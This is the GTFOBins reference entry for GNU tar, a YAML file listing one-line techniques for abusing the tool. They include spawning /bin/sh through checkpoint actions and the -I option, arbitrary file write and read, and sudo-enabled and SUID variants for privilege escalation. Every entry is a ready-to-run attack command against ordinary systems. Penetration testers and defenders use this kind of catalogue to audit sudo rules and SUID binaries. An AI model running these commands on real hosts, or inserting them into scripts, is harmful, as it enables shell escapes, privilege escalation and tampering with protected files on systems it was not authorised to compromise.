GTFOBins.github.io/_gtfobins/tar.md

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---
functions:
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execute-interactive:
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- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
execute-non-interactive:
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- description: This only works for GNU tar.
code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
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file-write:
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- description: This only works for GNU tar.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA > "$TF"
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tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
file-read:
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- description: This only works for GNU tar.
code: |
LFILE=file_to_read
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
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sudo-enabled:
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- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
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suid-limited:
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- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
---